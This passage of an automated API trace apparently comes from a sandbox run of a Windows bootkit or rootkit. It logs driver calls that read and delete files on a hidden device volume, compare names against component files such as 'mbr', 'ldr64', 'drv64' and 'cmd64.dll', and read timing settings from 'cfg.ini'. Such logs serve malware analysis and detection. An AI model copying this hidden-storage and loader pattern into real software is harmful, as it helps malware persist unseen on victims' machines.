KeLeaveCriticalRegion () [0127.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.530] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.530] KeEnterCriticalRegion () [0127.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.531] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.531] IdePortDispatch () returned 0x103 [0127.531] KeWaitForMutexObject () returned 0x0 [0127.531] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.531] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.531] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.531] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.531] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.531] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.531] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.531] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.531] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.531] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.531] KeLeaveCriticalRegion () [0127.531] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.531] ReleaseMutex (hMutex=0x100) returned 1 [0127.531] Sleep (dwMilliseconds=0x2bf20) [0127.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f3801d0, dwHighDateTime=0x1d24fa4)) [0127.540] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.540] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.540] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.540] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.540] KeEnterCriticalRegion () [0127.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.540] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.540] IdePortDispatch () returned 0x103 [0127.541] KeWaitForMutexObject () returned 0x0 [0127.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.541] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.541] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.541] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.541] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.541] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb8d0 [0127.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.541] KeLeaveCriticalRegion () [0127.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.541] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.541] KeEnterCriticalRegion () [0127.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.541] KeLeaveCriticalRegion () [0127.541] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.541] KeEnterCriticalRegion () [0127.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.541] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.541] IdePortDispatch () returned 0x103 [0127.542] KeWaitForMutexObject () returned 0x0 [0127.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.542] KeLeaveCriticalRegion () [0127.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.542] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.542] KeEnterCriticalRegion () [0127.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1f000 [0127.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.542] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.542] IdePortDispatch () returned 0x103 [0127.542] KeWaitForMutexObject () returned 0x0 [0127.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.542] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.542] IdePortDispatch () returned 0x103 [0127.544] KeWaitForMutexObject () returned 0x0 [0127.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.544] KeLeaveCriticalRegion () [0127.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.544] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.544] KeEnterCriticalRegion () [0127.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] KeLeaveCriticalRegion () [0127.545] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.545] KeEnterCriticalRegion () [0127.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.545] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] KeLeaveCriticalRegion () [0127.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.545] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.545] KeEnterCriticalRegion () [0127.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] ExFreePoolWithTag (P=0xfffffa8003bfb8d0, Tag=0x0) [0127.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] KeLeaveCriticalRegion () [0127.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.545] ReleaseMutex (hMutex=0xf0) returned 1 [0127.545] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.545] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.545] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.545] KeEnterCriticalRegion () [0127.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.545] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.545] IdePortDispatch () returned 0x103 [0127.545] KeWaitForMutexObject () returned 0x0 [0127.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.546] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.546] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.546] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.546] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.546] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.546] KeLeaveCriticalRegion () [0127.546] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.546] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.546] KeEnterCriticalRegion () [0127.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.546] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.546] KeLeaveCriticalRegion () [0127.546] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.546] KeEnterCriticalRegion () [0127.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.546] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.546] IdePortDispatch () returned 0x103 [0127.547] KeWaitForMutexObject () returned 0x0 [0127.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.547] KeLeaveCriticalRegion () [0127.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.547] KeEnterCriticalRegion () [0127.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.547] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b20000 [0127.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.547] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.547] IdePortDispatch () returned 0x103 [0127.547] KeWaitForMutexObject () returned 0x0 [0127.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.547] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.547] IdePortDispatch () returned 0x103 [0127.548] KeWaitForMutexObject () returned 0x0 [0127.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.548] KeLeaveCriticalRegion () [0127.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.548] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.548] KeEnterCriticalRegion () [0127.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.548] KeLeaveCriticalRegion () [0127.549] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.549] KeEnterCriticalRegion () [0127.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.549] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.549] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.549] KeLeaveCriticalRegion () [0127.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.549] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.549] KeEnterCriticalRegion () [0127.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.549] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.549] KeLeaveCriticalRegion () [0127.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.549] ReleaseMutex (hMutex=0xf0) returned 1 [0127.549] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.549] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.549] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.549] KeEnterCriticalRegion () [0127.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.549] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.549] IdePortDispatch () returned 0x103 [0127.550] KeWaitForMutexObject () returned 0x0 [0127.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.550] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.550] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.550] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.550] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.550] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e17f0 [0127.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.550] KeLeaveCriticalRegion () [0127.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.550] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.550] KeEnterCriticalRegion () [0127.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.550] KeLeaveCriticalRegion () [0127.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.550] KeEnterCriticalRegion () [0127.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.550] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.550] IdePortDispatch () returned 0x103 [0127.550] KeWaitForMutexObject () returned 0x0 [0127.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.551] KeLeaveCriticalRegion () [0127.551] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.551] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.551] KeEnterCriticalRegion () [0127.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b21000 [0127.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.551] IdePortDispatch () returned 0x103 [0127.551] KeWaitForMutexObject () returned 0x0 [0127.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.551] IdePortDispatch () returned 0x103 [0127.552] KeWaitForMutexObject () returned 0x0 [0127.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.552] KeLeaveCriticalRegion () [0127.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.552] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.552] KeEnterCriticalRegion () [0127.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.552] KeLeaveCriticalRegion () [0127.552] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.552] KeEnterCriticalRegion () [0127.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.552] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.552] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.553] KeLeaveCriticalRegion () [0127.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.553] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.553] KeEnterCriticalRegion () [0127.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.553] ExFreePoolWithTag (P=0xfffffa80037e17f0, Tag=0x0) [0127.553] 